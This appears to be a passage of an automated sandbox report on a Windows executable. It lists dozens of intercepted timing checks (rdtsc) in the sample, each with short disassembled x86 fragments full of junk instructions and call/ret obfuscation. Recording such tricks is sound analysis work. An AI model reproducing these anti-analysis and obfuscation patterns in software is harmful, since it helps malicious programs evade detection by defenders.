Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992714 second address: 99271E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA1A50F86F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99271E second address: 992761 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50FC14Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FA1A50FC158h 0x00000010 jmp 00007FA1A50FC144h 0x00000015 jp 00007FA1A50FC13Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928D6 second address: 9928E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA1A50F86F6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9942F8 second address: 99432D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FA1A50FC13Dh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FA1A50FC146h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994433 second address: 9944B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8706h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 20CEEBF6h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FA1A50F86F8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D376Bh], edi 0x00000030 mov cx, si 0x00000033 lea ebx, dword ptr [ebp+1245614Bh] 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007FA1A50F86F8h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 xchg eax, ebx 0x00000054 pushad 0x00000055 push edx 0x00000056 jng 00007FA1A50F86F6h 0x0000005c pop edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jnc 00007FA1A50F86F6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994558 second address: 9945D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA1A50FC13Dh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FA1A50FC138h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d sub cx, 12B6h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FA1A50FC138h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e movsx edx, ax 0x00000051 push 901442B8h 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FA1A50FC142h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9945D6 second address: 99465B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 6FEBBDC8h 0x0000000e jns 00007FA1A50F86FAh 0x00000014 push 00000003h 0x00000016 call 00007FA1A50F86FAh 0x0000001b jmp 00007FA1A50F8707h 0x00000020 pop edi 0x00000021 add dword ptr [ebp+122D2E6Eh], edx 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D3570h], edx 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FA1A50F86F8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov esi, 64F33000h 0x00000050 push 8AEA9F98h 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FA1A50F86FAh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987AC2 second address: 987ACC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA1A50FC13Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B48C4 second address: 9B48DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA1A50F8701h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B48DA second address: 9B48E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FA1A50FC136h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5333 second address: 9B5338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5338 second address: 9B533E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B548E second address: 9B54A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B54A0 second address: 9B54A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5622 second address: 9B563A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8700h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC6E1 second address: 9AC6E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC6E5 second address: 9AC6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA1A50F86F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC6F5 second address: 9AC700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FA1A50FC136h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC700 second address: 9AC712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA1A50F86F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC712 second address: 9AC716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980F58 second address: 980F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980F5C second address: 980FA0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA1A50FC13Ah 0x0000000f pushad 0x00000010 jnc 00007FA1A50FC136h 0x00000016 jmp 00007FA1A50FC13Eh 0x0000001b jg 00007FA1A50FC136h 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FA1A50FC141h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980FA0 second address: 980FBD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA1A50F8708h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5A3C second address: 9B5A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FA1A50FC136h 0x0000000a jp 00007FA1A50FC136h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5FFC second address: 9B6049 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FA1A50F86F6h 0x00000009 jg 00007FA1A50F86F6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FA1A50F86FDh 0x00000018 pushad 0x00000019 jmp 00007FA1A50F8706h 0x0000001e jmp 00007FA1A50F8704h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6049 second address: 9B605C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA1A50FC13Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B61A0 second address: 9B61A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B61A7 second address: 9B61CA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA1A50FC14Eh 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6312 second address: 9B6316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6316 second address: 9B6325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FA1A50FC136h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6325 second address: 9B6333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6743 second address: 9B6748 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CC88 second address: 98CC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA1A50F86F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB91C second address: 9BB921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9F4 second address: 9BB9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9F8 second address: 9BB9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C23D0 second address: 9C23D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C178C second address: 9C17AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50FC149h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C17AB second address: 9C17AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1AE9 second address: 9C1AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1AF0 second address: 9C1B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F8707h 0x00000009 jng 00007FA1A50F86F6h 0x0000000f popad 0x00000010 jns 00007FA1A50F8712h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FA1A50F86F6h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3F36 second address: 9C3FBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c je 00007FA1A50FC13Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jmp 00007FA1A50FC13Bh 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007FA1A50FC138h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c call 00007FA1A50FC139h 0x00000041 ja 00007FA1A50FC152h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FA1A50FC142h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3FBD second address: 9C3FC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3FC2 second address: 9C3FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3FC8 second address: 9C3FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jno 00007FA1A50F8709h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3FF4 second address: 9C3FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3FFA second address: 9C4013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C415B second address: 9C4160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C44A1 second address: 9C44BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8709h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C44BE second address: 9C44C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C454D second address: 9C4556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C504B second address: 9C5055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51C8 second address: 9C51CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51CE second address: 9C51EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50FC13Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007FA1A50FC136h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C51EB second address: 9C51F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C604D second address: 9C606A instructions: 0x00000000 rdtsc 0x00000002 js 00007FA1A50FC138h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007FA1A50FC13Ch 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C606A second address: 9C60D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FA1A50F86F8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2C36h] 0x0000002b push 00000000h 0x0000002d and di, 2E34h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FA1A50F86F8h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e add esi, dword ptr [ebp+122D294Eh] 0x00000054 mov esi, dword ptr [ebp+124673F0h] 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C60D7 second address: 9C60DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C60DD second address: 9C60E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C60E6 second address: 9C60EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8946 second address: 9C894C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C93AD second address: 9C93B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C93B3 second address: 9C93B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9D83 second address: 9C9D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 jng 00007FA1A50FC13Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9B66 second address: 9C9B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA829 second address: 9CA82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBD9B second address: 9CBDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBDA2 second address: 9CBDA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBDA8 second address: 9CBDAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC58D second address: 9CC591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC591 second address: 9CC595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF9C2 second address: 9CF9DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC13Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FA1A50FC136h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF9DA second address: 9CFA67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA1A50F8709h 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FA1A50F86F8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov di, si 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FA1A50F86F8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D2EDAh], edi 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FA1A50F8704h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFA67 second address: 9CFA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFA6D second address: 9CFA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFA71 second address: 9CFA75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFBEC second address: 9CFBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFBF0 second address: 9CFBFE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1BA4 second address: 9D1BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFBFE second address: 9CFC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1BB3 second address: 9D1BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3B8E second address: 9D3BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA1A50FC149h 0x00000008 je 00007FA1A50FC136h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 mov edi, 7A5B9FC7h 0x00000017 push 00000000h 0x00000019 and edi, 477229FBh 0x0000001f push 00000000h 0x00000021 stc 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push edx 0x00000027 pop edx 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3BCD second address: 9D3BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
